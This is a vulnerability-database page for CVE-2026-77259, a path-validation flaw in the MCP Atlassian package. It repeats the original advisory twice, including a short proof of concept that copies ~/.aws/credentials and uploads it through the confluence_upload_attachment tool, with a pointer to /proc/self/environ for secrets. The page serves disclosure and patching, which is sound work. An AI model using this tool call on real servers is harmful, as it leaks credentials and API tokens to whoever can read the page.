CVE-2026-77259: MCP Atlassian — HIGH

### Summary Missing path validation in `confluence_upload_attachment` allows any authenticated MCP client to read arbitrary files from the server filesystem and exfiltrate their contents to Confluence. On Linux deployments, `/proc/self/environ` yields all runtime secrets in a single call. --- ###...

Full CISO analysis pending enrichment.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
MCP Atlassian	pip	< 0.22.0	`0.22.0`
1 dependents 85% patched ~3d to patch Full package profile →

Do you use MCP Atlassian? You're affected.

How severe is it?

CVSS 3.1

7.7 / 10

EPSS

N/A

Exploitation Status

No known exploitation

Sophistication

N/A

What is the attack surface?

AV Network

AC Low

PR Low

UI None

S Changed

C High

I None

A None

What should I do?

Patch available

Update MCP Atlassian to version 0.22.0

Which compliance frameworks are affected?

Compliance analysis pending. Sign in for full compliance mapping when available.

Frequently Asked Questions

What is CVE-2026-77259?

### Summary Missing path validation in `confluence_upload_attachment` allows any authenticated MCP client to read arbitrary files from the server filesystem and exfiltrate their contents to Confluence. On Linux deployments, `/proc/self/environ` yields all runtime secrets in a single call. --- ### Details `AttachmentsMixin.upload_attachment()` in `src/mcp_atlassian/confluence/attachments.py` opens the caller-supplied `file_path` with no boundary check: ```python # line 477 files = {"file": (filename, open(file_path, "rb"))} ``` The download path was correctly hardened in GHSA-xjgw-4wvw-rgm4 via `validate_safe_path()` (lines 223, 272). That fix was not applied to the upload path, leaving it completely unguarded. The MCP tool layer (`servers/confluence.py:1295`) passes `file_path` verbatim with no additional sanitization. --- ### PoC ```bash # 1. Prepare target file (macOS demo; on Linux use /proc/self/environ directly) cp ~/.aws/credentials /tmp/diagram.png # 2. Call the MCP tool confluence_upload_attachment( content_id = "<any page attacker can edit>", file_path = "/tmp/diagram.png" ) # 3. Download attachment from Confluence — contains raw credentials ``` Tested on mcp-atlassian 0.21.1 against live Confluence Cloud. Attachment confirmed uploaded and retrieved with full credential content intact. --- ### Impact Any MCP client with edit access to one Confluence page can read arbitrary files from the server process. On shared/Docker deployments, `/proc/self/environ` exposes all users' API tokens in a single request. Exfiltrated Atlassian tokens provide persistent API access independent of MCP, surviving server shutdown or patching. Incomplete fix of GHSA-xjgw-4wvw-rgm4 — arbitrary file read on upload mirrors the arbitrary file write on download fixed in that advisory. --- ### Suggested Fix ```python # src/mcp_atlassian/confluence/attachments.py — upload_attachment() # Add after abspath conversion, before open(): try: validate_safe_path(file_path) except ValueError as e: return {"success": False, "error": str(e)} ``` Same fix required in `upload_attachments()` and `src/mcp_atlassian/jira/attachments.py`.

Is CVE-2026-77259 actively exploited?

No confirmed active exploitation of CVE-2026-77259 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-77259?

Update to patched version: MCP Atlassian 0.22.0.

What is the CVSS score for CVE-2026-77259?

CVE-2026-77259 has a CVSS v3.1 base score of 7.7 (HIGH).

What are the technical details?

Original Advisory

### Summary Missing path validation in `confluence_upload_attachment` allows any authenticated MCP client to read arbitrary files from the server filesystem and exfiltrate their contents to Confluence. On Linux deployments, `/proc/self/environ` yields all runtime secrets in a single call. --- ### Details `AttachmentsMixin.upload_attachment()` in `src/mcp_atlassian/confluence/attachments.py` opens the caller-supplied `file_path` with no boundary check: ```python # line 477 files = {"file": (filename, open(file_path, "rb"))} ``` The download path was correctly hardened in GHSA-xjgw-4wvw-rgm4 via `validate_safe_path()` (lines 223, 272). That fix was not applied to the upload path, leaving it completely unguarded. The MCP tool layer (`servers/confluence.py:1295`) passes `file_path` verbatim with no additional sanitization. --- ### PoC ```bash # 1. Prepare target file (macOS demo; on Linux use /proc/self/environ directly) cp ~/.aws/credentials /tmp/diagram.png # 2. Call the MCP tool confluence_upload_attachment( content_id = "<any page attacker can edit>", file_path = "/tmp/diagram.png" ) # 3. Download attachment from Confluence — contains raw credentials ``` Tested on mcp-atlassian 0.21.1 against live Confluence Cloud. Attachment confirmed uploaded and retrieved with full credential content intact. --- ### Impact Any MCP client with edit access to one Confluence page can read arbitrary files from the server process. On shared/Docker deployments, `/proc/self/environ` exposes all users' API tokens in a single request. Exfiltrated Atlassian tokens provide persistent API access independent of MCP, surviving server shutdown or patching. Incomplete fix of GHSA-xjgw-4wvw-rgm4 — arbitrary file read on upload mirrors the arbitrary file write on download fixed in that advisory. --- ### Suggested Fix ```python # src/mcp_atlassian/confluence/attachments.py — upload_attachment() # Add after abspath conversion, before open(): try: validate_safe_path(file_path) except ValueError as e: return {"success": False, "error": str(e)} ``` Same fix required in `upload_attachments()` and `src/mcp_atlassian/jira/attachments.py`.

Weaknesses (CWE)

CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Primary CWE-552 Files or Directories Accessible to External Parties Primary CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') CWE-552 Files or Directories Accessible to External Parties

CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

[Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
[Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Source: MITRE CWE corpus.